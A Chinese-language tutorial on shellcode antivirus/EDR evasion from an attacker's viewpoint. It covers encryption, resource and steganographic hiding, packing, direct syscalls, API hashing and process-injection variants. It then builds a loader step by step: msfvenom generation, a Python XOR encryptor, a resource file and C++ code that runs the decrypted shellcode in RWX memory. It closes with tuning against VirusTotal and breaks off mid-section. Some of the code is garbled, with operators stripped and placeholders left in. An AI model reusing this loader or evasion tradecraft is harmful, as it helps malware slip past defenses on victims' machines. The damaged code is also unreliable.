實(shí)戰(zhàn):從靜態(tài)加密到動(dòng)態(tài)系統(tǒng)調(diào)用的攻防對抗)
1. 項(xiàng)目概述為什么Shellcode免殺是攻防對抗的焦點(diǎn)在安全攻防的世界里Shellcode免殺技術(shù)就像一場永不停歇的“貓鼠游戲”。我接觸過很多紅隊(duì)評估和滲透測試項(xiàng)目一個(gè)繞不開的坎就是如何讓我們的“工具”在目標(biāo)系統(tǒng)上悄無聲息地落地并執(zhí)行。這里的“工具”很多時(shí)候指的就是一段精心構(gòu)造的Shellcode。它可能負(fù)責(zé)彈回一個(gè)命令行加載一個(gè)功能更全的后滲透模塊或者執(zhí)行一個(gè)特定的內(nèi)存操作。但無論目的如何只要它被終端安全軟件EDR/AV的靜態(tài)或動(dòng)態(tài)引擎識(shí)別出來行動(dòng)就宣告失敗甚至可能暴露攻擊者的基礎(chǔ)設(shè)施。因此深入理解Shellcode免殺不僅僅是掌握幾種加密或編碼技巧更是對現(xiàn)代安全防護(hù)體系工作原理的一次逆向拆解。這篇文章我將結(jié)合自己踩過的坑和實(shí)戰(zhàn)經(jīng)驗(yàn)從原理到實(shí)踐為你拆解Shellcode免殺的核心邏輯、主流技術(shù)以及對抗策略目標(biāo)是讓你不僅能做出一個(gè)“免殺”的樣本更能理解它為什么能“免殺”以及防守方會(huì)如何應(yīng)對。簡單來說Shellcode免殺技術(shù)就是通過一系列變換和偽裝手段改變Shellcode在磁盤靜態(tài)和內(nèi)存動(dòng)態(tài)中的特征使其逃避安全產(chǎn)品的檢測。這背后涉及編譯器行為、操作系統(tǒng)加載機(jī)制、反病毒引擎的簽名庫、啟發(fā)式規(guī)則、行為沙箱等多個(gè)層面的知識(shí)。對于安全研究人員、滲透測試工程師和惡意軟件分析師而言這都是必須啃下的硬骨頭。接下來我會(huì)從設(shè)計(jì)思路、核心技術(shù)、實(shí)操編碼到對抗演進(jìn)一步步帶你深入這個(gè)領(lǐng)域。2. 核心原理拆解安全軟件如何檢測Shellcode在思考如何“免殺”之前我們必須先成為“獵人”理解“獵人”安全軟件的捕獵方式?,F(xiàn)代終端防護(hù)是一個(gè)多層防御體系對Shellcode的檢測主要發(fā)生在兩個(gè)階段靜態(tài)分析和動(dòng)態(tài)分析。2.1 靜態(tài)特征檢測第一道關(guān)卡靜態(tài)分析發(fā)生在文件落地但尚未執(zhí)行時(shí)。安全軟件會(huì)像法醫(yī)一樣仔細(xì)檢查這個(gè)“可疑物品”的每一個(gè)細(xì)節(jié)。文件結(jié)構(gòu)與熵值分析一個(gè)正常的Windows可執(zhí)行文件PE文件有非常規(guī)整的結(jié)構(gòu)DOS頭、PE頭、節(jié)表、代碼節(jié)、數(shù)據(jù)節(jié)等。而一段純粹的、未經(jīng)處理的Shellcode通常只是一個(gè)二進(jìn)制的“數(shù)據(jù)塊”不具備合法的PE結(jié)構(gòu)。直接將其作為可執(zhí)行文件會(huì)被輕易識(shí)別。此外加密或高度壓縮的數(shù)據(jù)會(huì)導(dǎo)致文件某個(gè)區(qū)域的熵值隨機(jī)性度量異常高這本身就是一個(gè)強(qiáng)烈的可疑信號。很多安全軟件會(huì)計(jì)算文件各節(jié)的熵值過高熵值的節(jié)如.text代碼節(jié)會(huì)觸發(fā)警報(bào)。字節(jié)序列簽名Signature這是最傳統(tǒng)也是最基礎(chǔ)的檢測方式。安全廠商維護(hù)著一個(gè)龐大的特征庫里面記錄了已知惡意代碼的特定字節(jié)序列即“簽名”。如果你的Shellcode來自公開的滲透測試框架如Metasploit的windows/x64/meterpreter/reverse_tcp其開頭的幾個(gè)字節(jié)例如fc4883e4f0e8c0...很可能早已被收錄。靜態(tài)掃描時(shí)引擎只需進(jìn)行簡單的字節(jié)匹配就能發(fā)現(xiàn)你。字符串與API導(dǎo)入表引擎會(huì)提取文件中的所有可讀字符串和API函數(shù)名。如果發(fā)現(xiàn)了明顯的惡意痕跡如CreateRemoteThread、VirtualAllocEx、WriteProcessMemory這類常用于進(jìn)程注入的API名稱或者硬編碼的C2服務(wù)器地址、特殊的路徑字符串都會(huì)大大增加可疑度。注意靜態(tài)檢測追求的是速度和低誤報(bào)率。因此它的規(guī)則往往是精確匹配或簡單的模式匹配。我們的免殺思路首要目標(biāo)就是破壞這些靜態(tài)特征。2.2 動(dòng)態(tài)行為檢測執(zhí)行時(shí)的“現(xiàn)場直播”如果文件僥幸通過了靜態(tài)檢查被用戶運(yùn)行那么動(dòng)態(tài)行為分析的“大戲”就開場了。此時(shí)安全軟件會(huì)化身“監(jiān)工”在系統(tǒng)內(nèi)核層或通過沙箱監(jiān)控程序的一舉一動(dòng)。API調(diào)用序列監(jiān)控這是行為檢測的核心。安全軟件并不關(guān)心你調(diào)用了哪個(gè)具體的API而是關(guān)心你調(diào)用了哪些API以及它們組合起來的“故事”是否可疑。一個(gè)經(jīng)典的Shellcode加載流程可能是VirtualAlloc申請可執(zhí)行內(nèi)存 -WriteProcessMemory或RtlMoveMemory寫入Shellcode -CreateThread或QueueUserAPC執(zhí)行內(nèi)存。這一套組合拳被稱為“內(nèi)存分配、寫入、執(zhí)行”鏈?zhǔn)墙^大多數(shù)EDR/AV都會(huì)重點(diǎn)監(jiān)控的高危行為序列。內(nèi)存屬性修改監(jiān)控正常程序的內(nèi)存頁屬性是相對固定的例如代碼段是PAGE_EXECUTE_READ數(shù)據(jù)段是PAGE_READWRITE。而Shellcode加載器常常需要先將內(nèi)存屬性改為PAGE_READWRITE以便寫入數(shù)據(jù)然后再改為PAGE_EXECUTE_READ或PAGE_EXECUTE_READWRITE來執(zhí)行。這種對內(nèi)存頁屬性的“寫后執(zhí)行”修改操作是另一個(gè)極其敏感的行為指標(biāo)。子進(jìn)程創(chuàng)建與進(jìn)程注入如果Shellcode的目的是注入到其他進(jìn)程如explorer.exe,svchost.exe以實(shí)現(xiàn)持久化或規(guī)避那么CreateRemoteThread、NtMapViewOfSection等進(jìn)程注入技術(shù)相關(guān)的API調(diào)用以及異常的進(jìn)程父子關(guān)系都會(huì)被嚴(yán)密監(jiān)控。沙箱環(huán)境探測高級的惡意軟件會(huì)嘗試探測自己是否運(yùn)行在沙箱或分析環(huán)境中。例如檢查系統(tǒng)運(yùn)行時(shí)間沙箱往往剛啟動(dòng)、檢查物理內(nèi)存大小沙箱可能分配較小、檢查是否存在分析工具進(jìn)程如procmon.exe,wireshark.exe、檢查鼠標(biāo)移動(dòng)或用戶交互痕跡沙箱可能無交互。如果探測到沙箱環(huán)境惡意代碼會(huì)選擇不執(zhí)行惡意行為從而逃避動(dòng)態(tài)分析。理解了這些檢測原理我們的免殺策略就有了明確的靶心在靜態(tài)層面混淆特征使其不像“已知的壞東西”在動(dòng)態(tài)層面要么讓行為看起來“正?!币囱舆t或規(guī)避敏感行為的觸發(fā)。3. 靜態(tài)免殺技術(shù)讓Shellcode“面目全非”靜態(tài)免殺是基礎(chǔ)目標(biāo)是讓原始的Shellcode在磁盤上看起來“人畜無害”。這里有幾個(gè)經(jīng)過實(shí)戰(zhàn)檢驗(yàn)的核心方法。3.1 編碼與加密改變字節(jié)面貌這是最直接的方法目的是破壞基于字節(jié)序列的簽名匹配。異或XOR編碼這是最簡單、最常用的方法。選擇一個(gè)密鑰Key將Shellcode的每一個(gè)字節(jié)與這個(gè)密鑰進(jìn)行異或運(yùn)算。解密時(shí)再用同樣的密鑰異或一次即可還原。它的優(yōu)點(diǎn)是速度快、實(shí)現(xiàn)簡單。但弱點(diǎn)也很明顯如果密鑰是單字節(jié)加密后的數(shù)據(jù)可能仍存在統(tǒng)計(jì)特征此外xor指令本身也可能成為特征。// 簡單的異或加密示例C語言風(fēng)格 unsigned char shellcode[] {0xfc, 0x48, 0x83, ...}; unsigned char key 0xAA; for(int i 0; i sizeof(shellcode); i) { shellcode[i] shellcode[i] ^ key; // 加密 // 解密時(shí)再次執(zhí)行 shellcode[i] shellcode[i] ^ key; }AES/RC4等加密算法使用標(biāo)準(zhǔn)加密算法能產(chǎn)生熵值很高、近乎隨機(jī)的密文能有效規(guī)避簽名檢測。但引入加密算法意味著你需要在加載器中包含解密函數(shù)這可能會(huì)增加加載器本身的特征。通常我們會(huì)使用系統(tǒng)自帶的加密API如Windows的Cryptography API: Next Generation (CNG)或引入小型、混淆過的解密代碼。自定義編碼算法為了進(jìn)一步規(guī)避對標(biāo)準(zhǔn)加密算法特征的檢測可以設(shè)計(jì)簡單的自定義編碼如字節(jié)順序反轉(zhuǎn)、加減固定值、基于位置的變換等。核心思想是增加分析的復(fù)雜度。實(shí)操心得不要使用固定的、簡單的異或密鑰??梢圆捎枚嘧止?jié)循環(huán)密鑰或者從文件某個(gè)偏移量或環(huán)境變量中動(dòng)態(tài)計(jì)算密鑰。我曾在一個(gè)項(xiàng)目中將密鑰隱藏在PNG圖片文件的CRC校驗(yàn)值里加載器運(yùn)行時(shí)讀取圖片并計(jì)算CRC值作為密鑰效果很好。3.2 分離與隱寫藏匿于無形與其改變Shellcode的樣子不如把它藏起來讓掃描引擎根本找不到它。資源文件分離將加密后的Shellcode作為資源Resource捆綁在正常的PE文件如圖片查看器、計(jì)算器中。在運(yùn)行時(shí)通過FindResource、LoadResource、LockResource等API從自身資源節(jié)中讀取并解密。這樣靜態(tài)掃描時(shí)Shellcode不在主要的.text或.data節(jié)中而是藏在.rsrc節(jié)里規(guī)避了針對數(shù)據(jù)節(jié)的熵值檢查。網(wǎng)絡(luò)下載Staging加載器本身不包含任何Shellcode。它只是一個(gè)“下載器”運(yùn)行時(shí)從遠(yuǎn)程服務(wù)器C2下載加密的Shellcode到內(nèi)存中然后解密執(zhí)行。這徹底避免了本地文件的靜態(tài)特征。但缺點(diǎn)是增加了網(wǎng)絡(luò)交互可能被網(wǎng)絡(luò)流量檢測設(shè)備發(fā)現(xiàn)。隱寫術(shù)Steganography將Shellcode隱藏在一張普通的圖片、一個(gè)文檔甚至一段音頻文件的二進(jìn)制數(shù)據(jù)中。例如將加密后的Shellcode寫入PNG圖片的IDAT數(shù)據(jù)塊末尾不影響圖片正常顯示。加載器需要解析文件格式精準(zhǔn)定位并提取隱藏的數(shù)據(jù)。這種方法對靜態(tài)掃描的繞過效果極佳因?yàn)槲募雌饋硗耆!?.3 格式偽裝與殼保護(hù)PE文件格式偽裝將Shellcode加載器本身偽裝成一個(gè)合法的、簽名的應(yīng)用程序。或者構(gòu)建一個(gè)具備完全合法PE頭、節(jié)表但節(jié)區(qū)內(nèi)容被加密或替換的“空殼”PE文件。靜態(tài)分析時(shí)文件結(jié)構(gòu)完美熵值正常能繞過初步檢查。加殼Packing使用商業(yè)或自定義的加殼工具如UPX但UPX已被廣泛識(shí)別對加載器進(jìn)行壓縮和加密。加殼后的程序原始代碼被壓縮加密入口點(diǎn)OEP被替換為殼的引導(dǎo)代碼。殼負(fù)責(zé)在內(nèi)存中解密并跳轉(zhuǎn)到原始程序。這增加了逆向分析和靜態(tài)特征提取的難度。但需要注意很多加殼工具本身就有很強(qiáng)的特征會(huì)被標(biāo)記。因此使用小眾殼或自定義殼是關(guān)鍵。代碼混淆Obfuscation對加載器自身的代碼進(jìn)行混淆如插入垃圾指令NOP或無效運(yùn)算、控制流扁平化、字符串加密等。這雖然主要增加的是分析難度但混淆后編譯器生成的機(jī)器碼也會(huì)發(fā)生變化有時(shí)也能意外地繞過一些基于簡單模式的靜態(tài)簽名。4. 動(dòng)態(tài)免殺技術(shù)讓行為“看起來很正?!蓖ㄟ^了靜態(tài)檢查只是拿到了入場券。真正的挑戰(zhàn)是在運(yùn)行時(shí)如何“低調(diào)行事”。動(dòng)態(tài)免殺的核心是API調(diào)用鏈的偽裝與拆分。4.1 直接系統(tǒng)調(diào)用Syscall這是目前對抗EDR/AV用戶態(tài)Hook最主流、最有效的方法。EDR通常通過Hookkernel32.dll或ntdll.dll中的關(guān)鍵API如NtAllocateVirtualMemory,NtCreateThreadEx來監(jiān)控行為。直接系統(tǒng)調(diào)用繞過這些用戶態(tài)的Hook直接通過syscall指令與內(nèi)核交互。原理每個(gè)系統(tǒng)調(diào)用都有一個(gè)唯一的系統(tǒng)調(diào)用號Syscall Number。在Windows中ntdll.dll中的函數(shù)如NtAllocateVirtualMemory本質(zhì)就是封裝了syscall指令的存根Stub。我們可以直接復(fù)制這些存根中的匯編代碼主要是系統(tǒng)調(diào)用號和syscall指令或者動(dòng)態(tài)地從ntdll.dll中讀取這些信息在自己的代碼里發(fā)起調(diào)用。; x64 系統(tǒng)下 NtAllocateVirtualMemory 系統(tǒng)調(diào)用的簡化示例概念性 mov r10, rcx ; 第一個(gè)參數(shù)移到 r10 (Windows x64調(diào)用約定) mov eax, 18h ; 系統(tǒng)調(diào)用號 (NtAllocateVirtualMemory)這個(gè)值隨Windows版本變化 syscall ret實(shí)現(xiàn)關(guān)鍵系統(tǒng)調(diào)用號獲取系統(tǒng)調(diào)用號隨Windows版本甚至每次更新而變化。不能硬編碼。常見方法是從本機(jī)ntdll.dll的內(nèi)存中動(dòng)態(tài)解析或者使用經(jīng)過哈希處理的函數(shù)名在PEB中遍歷查找。參數(shù)準(zhǔn)備必須嚴(yán)格遵守x64或x86的系統(tǒng)調(diào)用約定正確設(shè)置寄存器。返回處理系統(tǒng)調(diào)用返回后狀態(tài)在RAX/EAX寄存器中需要正確處理。注意事項(xiàng)直接使用syscall雖然強(qiáng)大但代碼與系統(tǒng)版本強(qiáng)相關(guān)兼容性需要仔細(xì)處理。此外一些高級EDR已經(jīng)開始在內(nèi)核層監(jiān)控syscall指令的調(diào)用來源如果發(fā)現(xiàn)來自非ntdll.dll的內(nèi)存區(qū)域也會(huì)產(chǎn)生告警。因此更進(jìn)階的做法是結(jié)合“返回地址欺騙”Return Address Spoofing等技術(shù)讓調(diào)用??雌饋硐袷菑膎tdll.dll發(fā)起的。4.2 API動(dòng)態(tài)解析與調(diào)用為了避免在導(dǎo)入表IAT中留下敏感的API函數(shù)名我們可以在運(yùn)行時(shí)動(dòng)態(tài)獲取API地址。經(jīng)典方法GetProcAddress和LoadLibrary這是基礎(chǔ)方法。但GetProcAddress和LoadLibrary本身也可能被監(jiān)控。我們可以通過解析PEB進(jìn)程環(huán)境塊和PE文件結(jié)構(gòu)手動(dòng)遍歷kernel32.dll的導(dǎo)出表來查找GetProcAddress的地址從而實(shí)現(xiàn)“無導(dǎo)入表”的API解析。哈希處理在代碼中存儲(chǔ)API函數(shù)名的哈希值如ROR13哈希而不是明文字符串。在動(dòng)態(tài)解析時(shí)計(jì)算DLL導(dǎo)出函數(shù)名的哈希并與我們存儲(chǔ)的哈希進(jìn)行比較。這可以有效避免字符串掃描。// 計(jì)算函數(shù)名哈希的示例 DWORD HashStringROR13(const char* str) { DWORD hash 0; while (*str) { hash (hash 13) | (hash (32 - 13)); // 循環(huán)右移13位 hash *str; str; } return hash; } // 存儲(chǔ)的哈希值例如 HashStringROR13(VirtualAlloc)4.3 進(jìn)程注入技術(shù)的“低調(diào)”變種如果Shellcode需要注入到其他進(jìn)程傳統(tǒng)的CreateRemoteThread已經(jīng)如同在監(jiān)控?cái)z像頭下大聲喊叫。我們需要更隱蔽的方法。進(jìn)程鏤空Process Hollowing創(chuàng)建一個(gè)合法的、處于掛起狀態(tài)的進(jìn)程如svchost.exe將其主線程掛起然后“挖空”其內(nèi)存中的原始鏡像替換為我們的惡意代碼最后恢復(fù)線程執(zhí)行。從外部看進(jìn)程名是合法的但執(zhí)行的是我們的代碼。防守方會(huì)檢查進(jìn)程內(nèi)存與磁盤文件的差異。APC注入Asynchronous Procedure Call將Shellcode注入到目標(biāo)線程的APC隊(duì)列中。當(dāng)線程進(jìn)入可報(bào)警狀態(tài)時(shí)Shellcode會(huì)被執(zhí)行。特別是“早期鳥APC注入”在線程啟動(dòng)前就插入APC可以繞過一些基于線程創(chuàng)建的檢測。但APC注入需要目標(biāo)線程進(jìn)入告警狀態(tài)不確定性較高。線程劫持Thread Hijacking掛起目標(biāo)進(jìn)程中的一個(gè)現(xiàn)有線程修改其上下文主要是指令指針RIP/EIP和棧使其指向我們的Shellcode然后恢復(fù)線程。這種方法不創(chuàng)建新線程行為更隱蔽。難點(diǎn)在于需要穩(wěn)定地保存和恢復(fù)線程原始上下文以及處理線程棧。映射視圖注入Section Mapping利用Windows的節(jié)區(qū)對象Section Object。首先創(chuàng)建一個(gè)包含Shellcode的節(jié)區(qū)對象然后將這個(gè)節(jié)區(qū)映射到目標(biāo)進(jìn)程的地址空間。最后通過APC或線程劫持等方式讓目標(biāo)進(jìn)程的線程去執(zhí)行該映射區(qū)域。這種方法文件操作痕跡少相對隱蔽。4.4 內(nèi)存操作規(guī)避技巧內(nèi)存屬性“先執(zhí)行后寫”傳統(tǒng)的“申請可寫內(nèi)存-寫入-改為可執(zhí)行”鏈條太經(jīng)典??梢試L試?yán)靡恍┖戏ǖ摹⒈旧砭途哂锌蓤?zhí)行權(quán)限的內(nèi)存區(qū)域。例如** .NET JIT內(nèi)存**.NET運(yùn)行時(shí)生成的JIT編譯代碼所在的內(nèi)存頁默認(rèn)是可執(zhí)行的。可以嘗試與.NET程序交互或利用其機(jī)制。內(nèi)存洞Memory Holes在進(jìn)程地址空間中尋找已經(jīng)存在且具有可執(zhí)行權(quán)限的閑置內(nèi)存區(qū)域例如某些DLL加載后留下的間隙。但這不穩(wěn)定且難以移植。濫用合法可執(zhí)行模塊修改一個(gè)已加載DLL中的廢棄代碼區(qū)域如對齊填充區(qū)來存放Shellcode。這需要精確的逆向分析。堆棧內(nèi)存執(zhí)行雖然數(shù)據(jù)執(zhí)行保護(hù)DEP默認(rèn)禁止棧內(nèi)存執(zhí)行但可以通過VirtualProtect臨時(shí)開啟棧的PAGE_EXECUTE_READWRITE權(quán)限或者利用某些特定情況如舊版軟件、特定編譯選項(xiàng)下DEP未生效的環(huán)境。這不是一個(gè)通用的好方法。圖像文件執(zhí)行選項(xiàng)IFEO調(diào)試器注入這是一個(gè)非常古老的技巧通過修改注冊表將一個(gè)調(diào)試器設(shè)置為目標(biāo)程序的“預(yù)調(diào)試器”。當(dāng)目標(biāo)程序啟動(dòng)時(shí)調(diào)試器會(huì)先啟動(dòng)并將代碼注入到目標(biāo)進(jìn)程中。這種方法在行為上看起來像一個(gè)合法的調(diào)試會(huì)話但注冊表修改動(dòng)作本身會(huì)被監(jiān)控。5. 完整實(shí)戰(zhàn)構(gòu)建一個(gè)多層免殺的Shellcode加載器理論說了這么多我們動(dòng)手實(shí)現(xiàn)一個(gè)集成了部分上述技術(shù)的簡易加載器。這個(gè)加載器將使用異或加密、資源文件分離、直接系統(tǒng)調(diào)用和動(dòng)態(tài)API解析。5.1 第一步生成并加密Shellcode我們使用MSFVenom生成一個(gè)原始的Shellcode并立即用Python腳本進(jìn)行加密。# 生成原始Shellcode (例如一個(gè)簡單的MessageBox) msfvenom -p windows/x64/messagebox TEXTHello from Shellcode -f raw -o raw_shellcode.bin # 注意實(shí)戰(zhàn)中應(yīng)使用反向shell等此處用MessageBox便于觀察效果。編寫一個(gè)Python加密腳本encrypt_sc.pyimport sys def xor_encrypt(data, key): # 使用多字節(jié)循環(huán)密鑰 key_bytes key.encode(utf-8) encrypted bytearray() for i in range(len(data)): encrypted.append(data[i] ^ key_bytes[i % len(key_bytes)]) return bytes(encrypted) if __name__ __main__: if len(sys.argv) ! 3: print(fUsage: {sys.argv[0]} input_file output_file) sys.exit(1) with open(sys.argv[1], rb) as f: raw_sc f.read() # 使用一個(gè)復(fù)雜的密鑰可以是從某個(gè)文件計(jì)算出的哈希值 encryption_key MyComplexStaticKey123!# encrypted_sc xor_encrypt(raw_sc, encryption_key) with open(sys.argv[2], wb) as f: f.write(encrypted_sc) print(f[] Shellcode encrypted. Original size: {len(raw_sc)}, Encrypted size: {len(encrypted_sc)}) # 計(jì)算并打印加密后數(shù)據(jù)的熵值可選需要安裝math庫 # 高熵值提示我們需要在加載器中妥善隱藏它。運(yùn)行python encrypt_sc.py raw_shellcode.bin encrypted_sc.bin。5.2 第二步將加密Shellcode嵌入資源文件我們使用Visual Studio創(chuàng)建一個(gè)簡單的C控制臺(tái)項(xiàng)目或者直接使用MinGW和資源編譯器。創(chuàng)建資源文件shellcode.rc:// shellcode.rc IDR_ENCRYPTED_SC RCDATA encrypted_sc.bin編譯資源文件(使用rc.exe或windres):rc.exe shellcode.rc # 或使用 MinGW windres shellcode.rc -o shellcode.res這會(huì)生成shellcode.res文件。5.3 第三步編寫加載器代碼關(guān)鍵部分以下是加載器loader.cpp的核心代碼框架集成了動(dòng)態(tài)解析和直接系統(tǒng)調(diào)用思路。#include windows.h #include stdio.h // 1. 動(dòng)態(tài)獲取函數(shù)地址的輔助函數(shù)使用哈希 typedef HMODULE (WINAPI *pLoadLibraryA)(LPCSTR); typedef FARPROC (WINAPI *pGetProcAddress)(HMODULE, LPCSTR); // 一個(gè)簡單的ROR13哈希函數(shù) DWORD HashStringROR13(const char* str) { DWORD hash 0; while (*str) { hash (hash 13) | (hash (32 - 13)); hash *str; str; } return hash; } // 通過PEB遍歷獲取Kernel32基址然后解析GetProcAddress地址 // 此處省略詳細(xì)的PEB遍歷代碼這是一個(gè)獨(dú)立且復(fù)雜的技術(shù)點(diǎn)。 // 假設(shè)我們通過某種方式已經(jīng)獲得了 GetProcAddress 的地址存儲(chǔ)在 fnGetProcAddress 中。 pGetProcAddress fnGetProcAddress ...; // 通過PEB解析得到 // 2. 解密函數(shù) (與Python腳本對應(yīng)的XOR解密) void XorDecrypt(BYTE* data, SIZE_T size, const char* key) { SIZE_T keyLen strlen(key); for (SIZE_T i 0; i size; i) { data[i] ^ key[i % keyLen]; } } // 3. 直接系統(tǒng)調(diào)用相關(guān)結(jié)構(gòu)定義以NtAllocateVirtualMemory為例 // 系統(tǒng)調(diào)用號需要?jiǎng)討B(tài)獲取這里以Win10 2004的某個(gè)版本為例僅作演示不可硬編碼。 #define SYS_NtAllocateVirtualMemory 0x18 typedef struct _SYSCALL_ENTRY { DWORD hash; DWORD syscallNumber; } SYSCALL_ENTRY; // 一個(gè)簡陋的系統(tǒng)調(diào)用執(zhí)行函數(shù)內(nèi)聯(lián)匯編x64 // 實(shí)際項(xiàng)目中應(yīng)從ntdll.dll內(nèi)存中動(dòng)態(tài)解析系統(tǒng)調(diào)用號并組裝調(diào)用門。 // 此處僅為概念演示。 __declspec(naked) NTSTATUS SysNtAllocateVirtualMemory( HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect) { __asm { mov r10, rcx mov eax, SYS_NtAllocateVirtualMemory // 動(dòng)態(tài)獲取的調(diào)用號應(yīng)替換這里 syscall ret } } // 4. 主函數(shù) int main() { // 動(dòng)態(tài)獲取必要的API假設(shè)我們已經(jīng)有了fnGetProcAddress HMODULE hKernel32 LoadLibraryA(kernel32.dll); // 簡單起見這里直接用LoadLibraryA // 更隱蔽的做法是使用GetModuleHandle或PEB遍歷獲取kernel32基址 if (!hKernel32) return -1; // 使用動(dòng)態(tài)解析的GetProcAddress或我們自己的實(shí)現(xiàn)來獲取其他函數(shù) auto fnFindResource (decltype(FindResourceA)*)fnGetProcAddress(hKernel32, FindResourceA); auto fnLoadResource (decltype(LoadResource)*)fnGetProcAddress(hKernel32, LoadResource); auto fnLockResource (decltype(LockResource)*)fnGetProcAddress(hKernel32, LockResource); auto fnSizeofResource (decltype(SizeofResource)*)fnGetProcAddress(hKernel32, SizeofResource); // ... 獲取其他需要的API // 從資源中加載加密的Shellcode HRSRC hRes fnFindResource(NULL, MAKEINTRESOURCE(IDR_ENCRYPTED_SC), RT_RCDATA); if (!hRes) return -1; HGLOBAL hResData fnLoadResource(NULL, hRes); if (!hResData) return -1; BYTE* pEncryptedData (BYTE*)fnLockResource(hResData); DWORD dwSize fnSizeofResource(NULL, hRes); if (!pEncryptedData || dwSize 0) return -1; // 在內(nèi)存中解密Shellcode // 注意為了演示我們直接在原資源內(nèi)存解密實(shí)際應(yīng)復(fù)制到新緩沖區(qū)。 // 因?yàn)橘Y源內(nèi)存默認(rèn)是只讀的需要先改為可寫。 DWORD oldProtect; VirtualProtect(pEncryptedData, dwSize, PAGE_READWRITE, oldProtect); XorDecrypt(pEncryptedData, dwSize, MyComplexStaticKey123!#); VirtualProtect(pEncryptedData, dwSize, oldProtect, oldProtect); // 申請可執(zhí)行內(nèi)存 (嘗試使用更低調(diào)的方式) // 方式A傳統(tǒng)API容易被Hook // void* execMem VirtualAlloc(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 方式B使用直接系統(tǒng)調(diào)用假設(shè)我們已經(jīng)實(shí)現(xiàn)了 void* execMem NULL; SIZE_T regionSize dwSize; NTSTATUS status SysNtAllocateVirtualMemory( GetCurrentProcess(), execMem, 0, ?ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (status ! 0) { // NTSTATUS成功值為0 // 系統(tǒng)調(diào)用失敗回退到傳統(tǒng)API實(shí)戰(zhàn)中應(yīng)有更優(yōu)雅的降級策略 execMem VirtualAlloc(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); } if (!execMem) return -1; // 復(fù)制解密后的Shellcode到可執(zhí)行內(nèi)存 // 這里可以使用RtlMoveMemory或其等價(jià)物 memcpy(execMem, pEncryptedData, dwSize); // 創(chuàng)建線程執(zhí)行Shellcode // 同樣這里可以使用CreateThread也可以嘗試更隱蔽的線程創(chuàng)建方式如CreateRemoteThread注入自身無意義或APC。 HANDLE hThread CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)execMem, NULL, 0, NULL); if (hThread) { WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); } // 清理可選 VirtualFree(execMem, 0, MEM_RELEASE); return 0; }5.4 第四步編譯與測試編譯將loader.cpp、shellcode.res以及必要的資源頭文件一起編譯。cl.exe /nologo /O2 /MT loader.cpp shellcode.res /link /OUT:loader.exe確保使用靜態(tài)鏈接/MT以減少運(yùn)行時(shí)依賴并且進(jìn)行發(fā)布優(yōu)化/O2。測試首先在無安全軟件的虛擬機(jī)中運(yùn)行確保Shellcode能正常彈出MessageBox。然后上傳到 VirusTotal 或使用本地安裝的多個(gè)殺毒軟件進(jìn)行掃描。記錄檢測率。分析被哪些引擎檢測到嘗試調(diào)整加密算法、密鑰、資源類型、或加入更多的代碼混淆來降低檢測率。實(shí)操心得這是一個(gè)“玩具級”的示例。真正的實(shí)戰(zhàn)加載器需要考慮更多細(xì)節(jié)可靠的PEB遍歷獲取API、健壯的系統(tǒng)調(diào)用號動(dòng)態(tài)解析、完善的錯(cuò)誤處理、對資源內(nèi)存的復(fù)制而非原地解密、以及最終的內(nèi)存權(quán)限清理將內(nèi)存從PAGE_EXECUTE_READWRITE改回PAGE_READONLY以規(guī)避某些內(nèi)存掃描。此外將加載器本身進(jìn)行加殼或混淆是必要的下一步。6. 對抗策略演進(jìn)防守方的視角與應(yīng)對免殺技術(shù)不是一勞永逸的。防守方EDR/AV廠商也在不斷進(jìn)化。理解他們的策略才能預(yù)判和調(diào)整我們的技術(shù)。6.1 防守方的檢測升級靜態(tài)檢測的智能化模糊哈希Fuzzy Hashing如ssdeep。即使文件被輕微修改如插入一些NOP也能計(jì)算出相似的哈希值用于關(guān)聯(lián)同源惡意軟件。機(jī)器學(xué)習(xí)/深度學(xué)習(xí)模型訓(xùn)練模型識(shí)別惡意文件的特征如字節(jié)分布、API序列模式、控制流圖結(jié)構(gòu)對變種和未知威脅有更好的檢出率。對抗方法包括生成對抗樣本輕微擾動(dòng)欺騙模型或使用完全不同的代碼結(jié)構(gòu)。結(jié)構(gòu)語義分析不僅看字節(jié)還分析程序的邏輯結(jié)構(gòu)。例如識(shí)別出“解密循環(huán)內(nèi)存分配執(zhí)行”這一模式即使具體指令變了模式本身就可疑。動(dòng)態(tài)檢測的深度化內(nèi)核回調(diào)Kernel CallbacksEDR驅(qū)動(dòng)注冊內(nèi)核回調(diào)監(jiān)控進(jìn)程、線程、鏡像加載、注冊表等核心事件比用戶態(tài)Hook更底層、更難繞過。ETWEvent Tracing for Windows微軟提供的強(qiáng)大事件追蹤框架。EDR可以訂閱大量的系統(tǒng)事件如進(jìn)程創(chuàng)建、文件操作、網(wǎng)絡(luò)連接進(jìn)行實(shí)時(shí)分析。繞過ETW需要更底層的操作如嘗試禁用ETW提供程序或篡改ETW事件數(shù)據(jù)。內(nèi)存掃描與YARA規(guī)則EDR會(huì)定期或觸發(fā)式地掃描進(jìn)程內(nèi)存使用YARA規(guī)則匹配內(nèi)存中的Shellcode特征即使已解密。應(yīng)對方法是僅在執(zhí)行前一刻解密或者使用“反射式DLL注入”等技術(shù)讓代碼始終以“數(shù)據(jù)”形態(tài)存在直到執(zhí)行瞬間才被解析。行為時(shí)序分析與因果關(guān)系鏈不僅看單個(gè)API還分析一系列事件在時(shí)間上的關(guān)聯(lián)性構(gòu)建攻擊鏈故事。例如一個(gè)進(jìn)程剛網(wǎng)絡(luò)下載了數(shù)據(jù)緊接著就發(fā)生了內(nèi)存屬性修改和線程創(chuàng)建這個(gè)因果關(guān)系鏈的得分會(huì)很高。6.2 